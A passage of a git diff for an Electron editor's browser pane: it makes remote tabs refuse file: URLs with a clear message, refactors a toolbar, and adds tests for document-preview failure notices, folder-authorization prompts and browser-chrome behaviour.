--- a/src/renderer/src/components/browser-pane/navigate/browser-address-bar-navigation.ts
+++ b/src/renderer/src/components/browser-pane/navigate/browser-address-bar-navigation.ts
@@ -15,24 +15,36 @@ export type BrowserAddressBarSubmission =
  * Kagi session link and the invalid-input failure cannot drift between backends.
  * Callers stay responsible for routing the two outcomes into their own chrome.
  */
-export function resolveBrowserAddressBarSubmission(rawValue: string): BrowserAddressBarSubmission {
+export function resolveBrowserAddressBarSubmission(
+  rawValue: string,
+  options?: { allowFileUrls?: boolean }
+): BrowserAddressBarSubmission {
   const { browserDefaultSearchEngine, browserKagiSessionLink } = useAppStore.getState()
   // Why: the search-engine argument opts into search fallback; without it typed
   // queries parse as hosts ("google maps" -> https://google%20maps/).
   const url = normalizeBrowserNavigationUrl(rawValue, browserDefaultSearchEngine, {
     kagiSessionLink: browserKagiSessionLink
   })
-  if (url) {
+  // Why: client-hosted guests refuse file: by design (a remote page must not probe
+  // this machine's disk). Saying so beats the blank tab that refusal used to produce.
+  const fileUrlUnsupported =
+    options?.allowFileUrls === false && Boolean(url) && url!.startsWith('file:')
+  if (url && !fileUrlUnsupported) {
     return { status: 'navigate', url }
   }
   return {
     status: 'invalid',
     loadError: {
       code: 0,
-      description: translate(
-        'auto.components.browser.pane.BrowserPane.87eb75f7d2',
-        'Enter a valid http(s) or localhost URL.'
-      ),
+      description: fileUrlUnsupported
+        ? translate(
+            'auto.components.browser.pane.BrowserPane.fileUrlUnsupported',
+            'This browser tab cannot open local files. Use "Open Preview to the Side" on the file instead.'
+          )
+        : translate(
+            'auto.components.browser.pane.BrowserPane.87eb75f7d2',
+            'Enter a valid http(s) or localhost URL.'
+          ),
       // Why: validatedUrl is persisted, so redact a possible Kagi session token first.
       validatedUrl: redactKagiSessionToken(rawValue.trim()) || 'about:blank'
     }
diff --git a/src/renderer/src/components/browser-pane/stream-remote/remote-browser-page-toolbar.tsx b/src/renderer/src/components/browser-pane/stream-remote/remote-browser-page-toolbar.tsx
index 9c449372bcc..a923263d1be 100644
--- a/src/renderer/src/components/browser-pane/stream-remote/remote-browser-page-toolbar.tsx
+++ b/src/renderer/src/components/browser-pane/stream-remote/remote-browser-page-toolbar.tsx
@@ -3,6 +3,7 @@ import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { translate } from '@/i18n/i18n'
 import { BrowserNavigationControlRow } from '../assemble-chrome/browser-navigation-control-row'
+import BrowserAddressBar from '../assemble-chrome/BrowserAddressBar'
 import type { BrowserAddressBarEditSessionBinding } from '../assemble-chrome/use-browser-address-bar-edit-session'
 import { RemoteRuntimeEgressIndicator } from '../assemble-chrome/browser-egress-indicator'
 import { MarkupDrawButton } from '../annotate/MarkupDrawButton'
@@ -54,15 +55,20 @@ export function RemoteBrowserPageToolbar({
         reload: onReload,
         navigate: onNavigateToUrl
       }}
-      addressBarValue={addressBarValue}
-      onAddressBarChange={onAddressBarChange}
-      onSubmitAddressBar={onSubmitAddressBar}
-      addressBarInputRef={addressBarInputRef}
-      addressBarEditSession={addressBarEditSession}
-      addressBarLeadingIcon={
-        <RemoteRuntimeEgressIndicator
-          runtimeEnvironmentId={runtimeEnvironmentId}
-          presentation="streamed"
+      addressSlot={
+        <BrowserAddressBar
+          value={addressBarValue}
+          onChange={onAddressBarChange}
+          onSubmit={onSubmitAddressBar}
+          onNavigate={onNavigateToUrl}
+          inputRef={addressBarInputRef}
+          editSession={addressBarEditSession}
+          leadingIcon={
+            <RemoteRuntimeEgressIndicator
+              runtimeEnvironmentId={runtimeEnvironmentId}
+              presentation="streamed"
+            />
+          }
         />
       }
       reloadControl={
diff --git a/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.ts b/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.ts
index 1b7112efdad..93d5da4f603 100644
--- a/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.ts
+++ b/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.ts
@@ -222,7 +222,7 @@ export function useRemoteBrowserPageNavigation({
   }, [isActive, keybindings, runRemoteNavigation])
 
   const submitAddressBar = (): void => {
-    const submission = resolveBrowserAddressBarSubmission(addressBarValue)
+    const submission = resolveBrowserAddressBarSubmission(addressBarValue, { allowFileUrls: false })
     if (submission.status === 'invalid') {
       // 'direct': the only response to what the user just typed. With an empty address bar no
       // load-error overlay renders either, so outranking this would make Enter do nothing visible.
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx b/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx
new file mode 100644
index 00000000000..a925431b449
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.failure-message.test.tsx
@@ -0,0 +1,526 @@
+// @vitest-environment happy-dom
+//
+// The preview guest paints the handler's error body as if it were the document, so every
+// unreadable outcome arrives out-of-band on the failure channel. These pin that each reason
+// reaches the reader as its own sentence, and that a broken subresource cannot blank the page.
+//
+// The payloads here are the ones the reader can actually produce. The entry document is served as
+// text by every owner, so it fails only as too-large (a host-reported truncation) or unreadable (a
+// read error or a revoked grant); 'unsupported-asset' comes from a subresource whose format the
+// host declined to send — a font, say — and never from the document itself.
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { TooltipProvider } from '@/components/ui/tooltip'
+import type { DocPreviewFailure } from '../../../../../shared/doc-preview-scheme'
+
+const GRANT_ID = 'a'.repeat(32)
+const REMINTED_GRANT_ID = 'c'.repeat(32)
+const ENTRY_RELATIVE_PATH = 'doc.html'
+
+const grantRuntime = vi.hoisted(() => ({
+  mints: 0,
+  released: [] as string[],
+  authorizations: [] as { grantId: string; relativePath: string }[]
+}))
+
+vi.mock('@/lib/doc-preview-grants', () => ({
+  buildDocPreviewGrantRequest: () => ({
+    owner: {
+      kind: 'runtime' as const,
+      environmentId: 'env-1',
+      worktreeSelector: 'id:wt-1',
+      worktreeRoot: '/repo'
+    },
+    requestBase: '/repo',
+    root: '/repo/docs',
+    entryRelativePath: ENTRY_RELATIVE_PATH
+  }),
+  ensureDocPreviewGrant: () => {
+    grantRuntime.mints += 1
+    // Why a fresh id per mint: a re-mint after a reconnect must bind the guest to the new grant.
+    const grantId = grantRuntime.mints === 1 ? GRANT_ID : REMINTED_GRANT_ID
+    return Promise.resolve({ grantId, url: `orca-preview://${grantId}/${ENTRY_RELATIVE_PATH}` })
+  },
+  releaseDocPreviewGrant: (previewId: string) => {
+    grantRuntime.released.push(previewId)
+  }
+}))
+
+vi.mock('@/components/browser-pane/host-guest/webview-registry', () => ({
+  moveFocusToRendererBeforeWebviewDetach: () => undefined
+}))
+
+const storeState = {
+  getKnownWorktreeById: () => ({ path: '/repo' }),
+  persistedUIReady: true,
+  settings: {},
+  keybindings: {},
+  browserAnnotationsByPageId: {} as Record<string, unknown[]>,
+  activeGroupIdByWorktree: {} as Record<string, string>,
+  agentSendPopoverTargetMode: null,
+  openAgentSendPopoverTargetMode: () => undefined,
+  closeAgentSendPopoverTargetMode: () => undefined,
+  addBrowserPageAnnotation: () => undefined,
+  deleteBrowserPageAnnotation: () => undefined,
+  clearBrowserPageAnnotations: () => undefined,
+  recordFeatureInteraction: () => undefined,
+  openFile: () => 'file-1'
+}
+
+vi.mock('@/store', () => ({
+  useAppStore: Object.assign(
+    (selector?: (state: typeof storeState) => unknown) =>
+      selector ? selector(storeState) : storeState,
+    { getState: () => storeState }
+  )
+}))
+
+vi.mock('@/lib/execution-host-display-label', () => ({
+  selectWorktreeHostDisplayLabel: () => 'Studio Mac mini'
+}))
+
+const failureListeners: ((payload: DocPreviewFailure) => void)[] = []
+
+function emitFailure(payload: DocPreviewFailure): void {
+  for (const listener of failureListeners.slice()) {
+    listener(payload)
+  }
+}
+
+async function renderPreview(container: HTMLDivElement, root: Root): Promise<void> {
+  const { HtmlDocPreview } = await import('./HtmlDocPreview')
+  await act(async () => {
+    root.render(
+      <TooltipProvider>
+        <HtmlDocPreview
+          previewId="preview-1"
+          filePath="/repo/docs/doc.html"
+          relativePath="docs/doc.html"
+          worktreeId="wt-1"
+        />
+      </TooltipProvider>
+    )
+  })
+  expect(container.querySelector('webview')).not.toBeNull()
+}
+
+describe('HtmlDocPreview failure messages', () => {
+  let container: HTMLDivElement
+  let root: Root
+  let mounted = false
+
+  beforeEach(() => {
+    mounted = true
+    failureListeners.length = 0
+    grantRuntime.mints = 0
+    grantRuntime.released = []
+    grantRuntime.authorizations = []
+    ;(window as unknown as { api: unknown }).api = {
+      docPreview: {
+        authorizeDirectory: (grantId: string, relativePath: string) => {
+          grantRuntime.authorizations.push({ grantId, relativePath })
+          return Promise.resolve(true)
+        },
+        onLoadFailure: (callback: (payload: DocPreviewFailure) => void) => {
+          failureListeners.push(callback)
+          return () => {
+            const index = failureListeners.indexOf(callback)
+            if (index !== -1) {
+              failureListeners.splice(index, 1)
+            }
+          }
+        }
+      },
+      ui: { writeClipboardText: () => Promise.resolve() },
+      browser: { setAnnotationViewportBridge: () => Promise.resolve(true) }
+    }
+    container = document.createElement('div')
+    document.body.append(container)
+    root = createRoot(container)
+  })
+
+  afterEach(() => {
+    if (mounted) {
+      act(() => root.unmount())
+      mounted = false
+    }
+    container.remove()
+  })
+
+  it('tells the reader the document is too large instead of showing a bare failure', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, relativePath: ENTRY_RELATIVE_PATH, reason: 'too-large' })
+    })
+
+    expect(container.textContent).toContain(
+      'This document is too large to preview. Open it in the editor instead.'
+    )
+  })
+
+  // Why a notice and not the panel: the document rendered. Hiding it behind a failure screen would
+  // take away a page the reader can use over one asset the workspace would not send.
+  it('names the asset the workspace refused without hiding the document', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'assets/inter.woff2',
+        reason: 'unsupported-asset'
+      })
+    })
+
+    expect(container.textContent).toContain(
+      'This workspace cannot send assets/inter.woff2 to a preview.'
+    )
+    expect(container.textContent).not.toContain('Preview unavailable')
+    expect(container.querySelector('webview')).not.toBeNull()
+  })
+
+  it('names an unreadable or over-cap asset by path', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, relativePath: 'assets/logo.png', reason: 'unreadable' })
+    })
+
+    expect(container.textContent).toContain(
+      'Orca could not read assets/logo.png from the workspace.'
+    )
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, relativePath: 'assets/data.json', reason: 'too-large' })
+    })
+
+    expect(container.textContent).toContain('2 files in this document could not be loaded.')
+    expect(container.textContent).not.toContain('Preview unavailable')
+  })
+
+  it('counts each failing asset once, however often the guest retries it', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, relativePath: 'assets/logo.png', reason: 'unreadable' })
+      emitFailure({ grantId: GRANT_ID, relativePath: 'assets/logo.png', reason: 'unreadable' })
+    })
+
+    expect(container.textContent).toContain(
+      'Orca could not read assets/logo.png from the workspace.'
+    )
+    expect(container.textContent).not.toContain('files in this document')
+  })
+
+  it('caps document-authored failure rows', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      for (let index = 0; index < 75; index += 1) {
+        emitFailure({
+          grantId: GRANT_ID,
+          relativePath: `assets/missing-${index}.png`,
+          reason: 'unreadable'
+        })
+      }
+    })
+
+    expect(container.textContent).toContain('50 files in this document could not be loaded.')
+    expect(container.textContent).not.toContain('75 files in this document could not be loaded.')
+  })
+
+  it('asks before reading a directory outside the document folder', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'assets/app.js',
+        reason: 'authorization-required'
+      })
+    })
+
+    expect(container.textContent).toContain('This preview wants to read files in assets.')
+    expect(container.textContent).toContain('Dismiss')
+    expect(container.textContent).toContain('Allow folder')
+    expect(grantRuntime.authorizations).toEqual([])
+  })
+
+  it('names the full workspace root when the document asks for a root file', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: '.env',
+        reason: 'authorization-required'
+      })
+    })
+
+    expect(container.textContent).toContain('This preview wants to read files in /repo.')
+  })
+
+  it('authorizes only after Allow folder and reloads the guest', async () => {
+    await renderPreview(container, root)
+    const reload = vi.fn()
+    Object.assign(container.querySelector('webview')!, { reload })
+
+    await act(async () => {
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'assets/app.js',
+        reason: 'authorization-required'
+      })
+    })
+    const allowButton = [...container.querySelectorAll('button')].find(
+      (button) => button.textContent?.trim() === 'Allow folder'
+    )
+
+    await act(async () => {
+      allowButton?.click()
+    })
+
+    expect(grantRuntime.authorizations).toEqual([
+      { grantId: GRANT_ID, relativePath: 'assets/app.js' }
+    ])
+    expect(reload).toHaveBeenCalledOnce()
+    expect(container.textContent).not.toContain('This preview wants to read files in assets.')
+  })
+
+  it('batches folders blocked in one load into a single decision', async () => {
+    await renderPreview(container, root)
+    const reload = vi.fn()
+    Object.assign(container.querySelector('webview')!, { reload })
+
+    await act(async () => {
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'assets/app.js',
+        reason: 'authorization-required'
+      })
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'assets/theme.css',
+        reason: 'authorization-required'
+      })
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'data/rows.json',
+        reason: 'authorization-required'
+      })
+    })
+
+    expect(container.textContent).toContain('This preview wants to read files in assets and data.')
+    const allowButton = [...container.querySelectorAll('button')].find(
+      (button) => button.textContent?.trim() === 'Allow 2 folders'
+    )
+    expect(allowButton).toBeDefined()
+
+    await act(async () => {
+      allowButton?.click()
+    })
+
+    // One decision grants exactly the named set, then one reload picks it all up.
+    expect(grantRuntime.authorizations).toEqual([
+      { grantId: GRANT_ID, relativePath: 'assets/app.js' },
+      { grantId: GRANT_ID, relativePath: 'data/rows.json' }
+    ])
+    expect(reload).toHaveBeenCalledOnce()
+    expect(container.textContent).not.toContain('This preview wants to read files in')
+  })
+
+  it('dismisses every folder the banner named, not just the first', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'assets/app.js',
+        reason: 'authorization-required'
+      })
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'data/rows.json',
+        reason: 'authorization-required'
+      })
+    })
+    const dismissButton = [...container.querySelectorAll('button')].find(
+      (button) => button.textContent?.trim() === 'Dismiss'
+    )
+    await act(async () => {
+      dismissButton?.click()
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'data/other.json',
+        reason: 'authorization-required'
+      })
+    })
+
+    expect(container.textContent).not.toContain('This preview wants to read files in')
+    expect(grantRuntime.authorizations).toEqual([])
+  })
+
+  it('does not reprompt for a dismissed directory during the grant lifetime', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'assets/app.js',
+        reason: 'authorization-required'
+      })
+    })
+    const dismissButton = [...container.querySelectorAll('button')].find(
+      (button) => button.textContent?.trim() === 'Dismiss'
+    )
+    await act(async () => {
+      dismissButton?.click()
+      emitFailure({
+        grantId: GRANT_ID,
+        relativePath: 'assets/theme.css',
+        reason: 'authorization-required'
+      })
+    })
+
+    expect(container.textContent).not.toContain('This preview wants to read files in assets.')
+    expect(grantRuntime.authorizations).toEqual([])
+  })
+
+  // Why: nothing rendered, so the notice strip would be a footnote on a blank page.
+  it('replaces the asset notice with the failure panel when the document itself fails', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, relativePath: 'assets/logo.png', reason: 'unreadable' })
+      emitFailure({ grantId: GRANT_ID, reason: 'download-blocked' })
+      emitFailure({ grantId: GRANT_ID, relativePath: ENTRY_RELATIVE_PATH, reason: 'too-large' })
+    })
+
+    expect(container.textContent).toContain('Preview unavailable')
+    expect(container.textContent).not.toContain('assets/logo.png')
+    expect(container.textContent).not.toContain('Downloads are disabled in document previews.')
+  })
+
+  // Why the notice exists at all: the preview partition cancels the download before it starts, so
+  // without this a pressed download button produces nothing the reader can tell from a bug.
+  it('tells the reader a refused download was refused, without taking the document away', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, reason: 'download-blocked' })
+    })
+
+    expect(container.textContent).toContain('Downloads are disabled in document previews.')
+    expect(container.textContent).not.toContain('Preview unavailable')
+    expect(container.querySelector('webview')).not.toBeNull()
+  })
+
+  // Why: the document chooses when and how often to ask, so a per-attempt row would let a page
+  // scroll Orca's own chrome off the screen.
+  it('shows one refusal notice however often the document asks', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, reason: 'download-blocked' })
+      emitFailure({ grantId: GRANT_ID, reason: 'download-blocked' })
+      emitFailure({ grantId: GRANT_ID, reason: 'download-blocked' })
+    })
+
+    const notices = container.querySelectorAll('[role="status"]')
+    expect(notices).toHaveLength(1)
+    expect(notices[0]?.textContent).toContain('Downloads are disabled in document previews.')
+  })
+
+  it('keeps a refused download and a failed asset as separate sentences', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, reason: 'download-blocked' })
+      emitFailure({ grantId: GRANT_ID, relativePath: 'assets/logo.png', reason: 'unreadable' })
+    })
+
+    expect(container.textContent).toContain('Downloads are disabled in document previews.')
+    expect(container.textContent).toContain(
+      'Orca could not read assets/logo.png from the workspace.'
+    )
+    // The asset count describes files the document could not load; a refusal is not one of them.
+    expect(container.textContent).not.toContain('2 files in this document')
+  })
+
+  it('ignores a refusal reported for another preview tab', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: 'b'.repeat(32), reason: 'download-blocked' })
+    })
+
+    expect(container.textContent).not.toContain('Downloads are disabled in document previews.')
+  })
+
+  it('falls back to the read failure for any other unreadable document', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, relativePath: ENTRY_RELATIVE_PATH, reason: 'unreadable' })
+    })
+
+    expect(container.textContent).toContain('Orca could not read this file from the workspace.')
+  })
+
+  it('ignores a failure minted for another preview tab', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      emitFailure({
+        grantId: 'b'.repeat(32),
+        relativePath: ENTRY_RELATIVE_PATH,
+        reason: 'too-large'
+      })
+    })
+
+    expect(container.textContent).not.toContain('Preview unavailable')
+  })
+
+  // Why: a grant is pinned to the owner ids it was minted with, so after a pairing or SSH
+  // reconnect reloading the guest would just refetch the same failure forever.
+  it('re-mints the grant when reload is pressed from a failure', async () => {
+    await renderPreview(container, root)
+    await act(async () => {
+      emitFailure({ grantId: GRANT_ID, relativePath: ENTRY_RELATIVE_PATH, reason: 'unreadable' })
+    })
+    expect(grantRuntime.mints).toBe(1)
+
+    await act(async () => {
+      container.querySelector<HTMLButtonElement>('button[aria-label="Reload preview"]')?.click()
+    })
+
+    expect(grantRuntime.released).toEqual(['preview-1'])
+    expect(grantRuntime.mints).toBe(2)
+    expect(container.querySelector('webview')?.getAttribute('src')).toContain(REMINTED_GRANT_ID)
+    expect(container.textContent).not.toContain('Preview unavailable')
+  })
+
+  it('reloads the guest in place when the document is rendering fine', async () => {
+    await renderPreview(container, root)
+
+    await act(async () => {
+      container.querySelector<HTMLButtonElement>('button[aria-label="Reload preview"]')?.click()
+    })
+
+    expect(grantRuntime.released).toEqual([])
+    expect(grantRuntime.mints).toBe(1)
+  })
+
+  it('unsubscribes on unmount so a late failure cannot touch a torn-down preview', async () => {
+    await renderPreview(container, root)
+    expect(failureListeners).toHaveLength(1)
+
+    await act(async () => {
+      root.unmount()
+      mounted = false
+    })
+
+    expect(failureListeners).toHaveLength(0)
+  })
+})
diff --git a/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx b/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx
new file mode 100644
index 00000000000..d989303c9f9
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/workspace-doc/HtmlDocPreview.toolbar.test.tsx
@@ -0,0 +1,581 @@
+// @vitest-environment happy-dom
+//
+// The preview is an editor tab that has to read like a browser tab. These pin the parts of that
+// illusion a reader can catch us on: the document names itself and its owning machine instead of
+// showing the internal preview scheme, Back/Forward really drive the guest's history, and the chip
+// hands over the path the owner spells rather than the one the grant was minted with.
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { TooltipProvider } from '@/components/ui/tooltip'
+import { acquireWebviewsDragPassthrough } from '@/components/browser-pane/host-guest/webview-drag-passthrough'
+
+const GRANT_ID = 'a'.repeat(32)
+// The draw-tool hint's own storage key; the hook that owns it keeps it private.
+const MARKUP_DRAW_HINT_SEEN_KEY = 'orca.browser.markup-draw-hint-seen'
+const ENTRY_RELATIVE_PATH = 'docs/reports/index.html'
+const ABSOLUTE_PATH = '/repo/docs/reports/index.html'
+
+const clipboard = vi.hoisted(() => ({ writes: [] as string[] }))
+const grabCalls: { browserPageId: string; enabled: boolean }[] = []
+const osOpens: string[] = []
+
+vi.mock('@/lib/doc-preview-grants', () => ({
+  buildDocPreviewGrantRequest: () => ({
+    owner: {
+      kind: 'runtime' as const,
+      environmentId: 'env-1',
+      worktreeSelector: 'id:wt-1',
+      worktreeRoot: '/repo'
+    },
+    root: '/repo',
+    entryRelativePath: ENTRY_RELATIVE_PATH
+  }),
+  ensureDocPreviewGrant: () =>
+    Promise.resolve({
+      grantId: GRANT_ID,
+      url: `orca-preview://${GRANT_ID}/${ENTRY_RELATIVE_PATH}`
+    }),
+  releaseDocPreviewGrant: () => undefined
+}))
+
+vi.mock('@/components/browser-pane/host-guest/webview-registry', () => ({
+  moveFocusToRendererBeforeWebviewDetach: () => undefined
+}))
+
+// The real one walks half the store to decide who owns a worktree; the chip only cares that
+// whatever it decides reaches the pill.
+vi.mock('@/lib/execution-host-display-label', () => ({
+  selectWorktreeHostDisplayLabel: () => 'Studio Mac mini'
+}))
+
+const store = vi.hoisted(() => ({
+  openedFiles: [] as unknown[],
+  downloads: [] as string[],
+  pageStateUpdates: [] as { pageId: string; updates: { title?: string } }[]
+}))
+
+// The document lives on the SSH host that owns the workspace, which is what makes the preview a
+// preview at all — the client OS has no copy of it.
+vi.mock('@/lib/connection-context', () => ({
+  getConnectionId: () => 'ssh-1',
+  getConnectionIdForFile: () => 'ssh-1',
+  getConnectionIdFromState: () => 'ssh-1'
+}))
+
+vi.mock('@/lib/connection-owner-resolution', () => ({
+  getConnectionIdForFileFromState: () => 'ssh-1'
+}))
+
+vi.mock('@/components/terminal-pane/terminal-remote-file-download-open', () => ({
+  downloadAndOpenRemoteTerminalFile: (_context: unknown, filePath: string) => {
+    store.downloads.push(filePath)
+    return Promise.resolve()
+  }
+}))
+
+const storeState = {
+  getKnownWorktreeById: () => ({ path: '/repo' }),
+  persistedUIReady: true,
+  settings: { activeRuntimeEnvironmentId: 'env-1' },
+  keybindings: {},
+  browserAnnotationsByPageId: {} as Record<string, unknown[]>,
+  activeGroupIdByWorktree: {} as Record<string, string>,
+  agentSendPopoverTargetMode: null,
+  openAgentSendPopoverTargetMode: () => undefined,
+  closeAgentSendPopoverTargetMode: () => undefined,
+  addBrowserPageAnnotation: () => undefined,
+  deleteBrowserPageAnnotation: () => undefined,
+  clearBrowserPageAnnotations: () => undefined,
+  recordFeatureInteraction: () => undefined,
+  openFile: (file: unknown) => {
+    store.openedFiles.push(file)
+    return 'file-1'
+  },
+  updateBrowserPageState: (pageId: string, updates: { title?: string }) => {
+    store.pageStateUpdates.push({ pageId, updates })
+  }
+}
+
+vi.mock('@/store', () => ({
+  useAppStore: Object.assign(
+    (selector?: (state: typeof storeState) => unknown) =>
+      selector ? selector(storeState) : storeState,
+    { getState: () => storeState }
+  )
+}))
+
+type StubWebview = Element & {
+  canGoBack: () => boolean
+  canGoForward: () => boolean
+  goBack: () => void
+  goForward: () => void
+  reload: () => void
+}
+
+async function renderPreview(
+  container: HTMLDivElement,
+  root: Root,
+  options: { holdsGuestFocus?: boolean } = {}
+): Promise<StubWebview> {
+  const { HtmlDocPreview } = await import('./HtmlDocPreview')
+  await act(async () => {
+    root.render(
+      <TooltipProvider>
+        <HtmlDocPreview
+          previewId="preview-1"
+          filePath={ABSOLUTE_PATH}
+          relativePath={ENTRY_RELATIVE_PATH}
+          worktreeId="wt-1"
+          holdsGuestFocus={options.holdsGuestFocus ?? false}
+        />
+      </TooltipProvider>
+    )
+  })
+  const webview = container.querySelector('webview') as StubWebview | null
+  expect(webview).not.toBeNull()
+  // Why: the tools only arm once something has painted, so every case starts from a settled load.
+  await act(async () => {
+    webview?.dispatchEvent(new Event('did-stop-loading'))
+  })
+  return webview as StubWebview
+}
+
+function stubHistory(
+  webview: StubWebview,
+  depth: { canGoBack: boolean; canGoForward: boolean }
+): { goBack: ReturnType<typeof vi.fn>; goForward: ReturnType<typeof vi.fn> } {
+  const goBack = vi.fn()
+  const goForward = vi.fn()
+  webview.canGoBack = () => depth.canGoBack
+  webview.canGoForward = () => depth.canGoForward
+  webview.goBack = goBack
+  webview.goForward = goForward
+  webview.reload = vi.fn()
+  return { goBack, goForward }
+}
+
+function button(container: HTMLDivElement, label: string): HTMLButtonElement {
+  const element = container.querySelector<HTMLButtonElement>(`button[aria-label="${label}"]`)
+  expect(element).not.toBeNull()
+  return element as HTMLButtonElement
+}
+
+describe('HtmlDocPreview browser chrome', () => {
+  let container: HTMLDivElement
+  let root: Root
+  let mounted = false
+
+  beforeEach(() => {
+    mounted = true
+    clipboard.writes = []
+    store.openedFiles = []
+    store.downloads = []
+    grabCalls.length = 0
+    osOpens.length = 0
+    ;(window as unknown as { api: unknown }).api = {
+      docPreview: { onLoadFailure: () => () => undefined },
+      ui: {
+        writeClipboardText: (text: string) => {
+          clipboard.writes.push(text)
+          return Promise.resolve()
+        },
+        writeClipboardImage: () => Promise.resolve()
+      },
+      shell: {
+        openFilePath: (filePath: string) => {
+          osOpens.push(filePath)
+          return Promise.resolve(true)
+        }
+      },
+      browser: {
+        setGrabMode: (args: { browserPageId: string; enabled: boolean }) => {
+          grabCalls.push(args)
+          return Promise.resolve({ ok: true })
+        },
+        cancelGrab: () => Promise.resolve(true),
+        awaitGrabSelection: () => new Promise(() => {}),
+        captureSelectionScreenshot: () => Promise.resolve({ ok: false }),
+        setAnnotationViewportBridge: () => Promise.resolve(true)
+      }
+    }
+    container = document.createElement('div')
+    document.body.append(container)
+    root = createRoot(container)
+  })
+
+  afterEach(() => {
+    if (mounted) {
+      act(() => root.unmount())
+      mounted = false
+    }
+    container.remove()
+  })
+
+  it('identifies the document by its workspace path and owning machine', async () => {
+    await renderPreview(container, root)
+
+    const text = container.textContent ?? ''
+    expect(text).toContain('docs/reports/')
+    expect(text).toContain('index.html')
+    expect(text).toContain('Workspace file')
+    expect(text).toContain('Studio Mac mini')
+  })
+
+  // The internal scheme is an implementation detail of how the workspace hands bytes to the guest.
+  // The guest's own src attribute necessarily carries it; no other node in the tree may.
+  it('never shows the internal preview scheme to the reader', async () => {
+    const webview = await renderPreview(container, root)
+
+    expect(webview.getAttribute('src')).toContain('orca-preview')
+    const withoutGuest = container.cloneNode(true) as HTMLElement
+    for (const guest of withoutGuest.querySelectorAll('webview')) {
+      guest.remove()
+    }
+    expect(withoutGuest.innerHTML).not.toContain('orca-preview')
+  })
+
+  // Why this is a drag bug and not a styling one: a <webview> takes the pointer stream the
+  // document never sees, so a tab drag stops getting pointermove the moment the cursor crosses
+  // the preview — the dragged tab stops following the cursor and the split cannot be dropped.
+  it('holds the guest click-through while a renderer drag is in flight', async () => {
+    const webview = await renderPreview(container, root)
+
+    const guest = webview as unknown as HTMLElement
+    let release: (() => void) | null = null
+    expect(guest.style.pointerEvents).toBe('')
+
+    await act(async () => {
+      release = acquireWebviewsDragPassthrough()
+    })
+    expect(guest.style.pointerEvents).toBe('none')
+
+    await act(async () => release?.())
+    expect(guest.style.pointerEvents).toBe('')
+  })
+
+  // Why append time and not the enrolling effect: dragging the preview's OWN tab across a split
+  // remounts this component mid-drag, and an effect settles a turn later — for the rest of that
+  // turn the fresh guest is hittable and eats the pointer stream, which is the original freeze.
+  it('holds a guest that appears mid-drag click-through the moment it is appended', async () => {
+    const appendedPointerEvents: string[] = []
+    const originalAppendChild = HTMLElement.prototype.appendChild
+    HTMLElement.prototype.appendChild = function <T extends Node>(node: T): T {
+      const element = node as unknown as HTMLElement
+      if (element.tagName?.toLowerCase() === 'webview') {
+        appendedPointerEvents.push(element.style.pointerEvents)
+      }
+      return originalAppendChild.call(this, node) as T
+    }
+    const release = acquireWebviewsDragPassthrough()
+
+    try {
+      await renderPreview(container, root)
+      expect(appendedPointerEvents).toEqual(['none'])
+    } finally {
+      HTMLElement.prototype.appendChild = originalAppendChild
+      release()
+    }
+  })
+
+  // Why: the chip sits in the row's height-pinned slot, and a wrapper of its own between the two
+  // would leave it its natural height again — the toolbar would shrink for document tabs.
+  it('hands the identity chip straight to the height-pinned address slot', async () => {
+    await renderPreview(container, root)
+
+    const chip = button(container, 'Copy file path')
+    const slot = container.querySelector('[data-browser-chrome-address-slot]')
+    expect(slot).not.toBeNull()
+    expect(chip.parentElement).toBe(slot)
+    expect(chip.className).not.toMatch(/(^|\s)h-/)
